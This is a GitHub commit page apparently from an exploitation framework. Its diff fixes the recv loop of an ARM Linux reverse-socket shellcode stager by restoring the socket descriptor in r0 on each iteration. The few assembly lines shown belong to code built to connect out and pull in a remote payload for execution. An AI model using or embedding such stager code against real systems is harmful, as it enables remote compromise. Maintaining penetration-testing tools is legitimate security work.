Skip to content

Commit be90a4e

Browse files
authored
Restore r0 on each iteration
1 parent ae8e996 commit be90a4e

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,10 +75,10 @@ _start:
7575
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
7676
add r7,#99 @ __NR_recv
7777
mov r1,r0 @ *buf
78-
mov r0,r12 @ sockfd
7978
mov r3,#0 @ flags
8079
@ remove blocksize from total length
8180
loop:
81+
mov r0,r12 @ sockfd
8282
ldr r2,[sp,#0]
8383
sub r2,#1000
8484
str r2,[sp,#0]
@@ -88,7 +88,6 @@ loop:
8888
swi 0
8989
cmp r0, #0
9090
blt failed
91-
mov r0, r12 @ replace return code with sockfd
9291
b loop
9392
last:
9493
add r2,#1000 @ len

0 commit comments

Comments
 (0)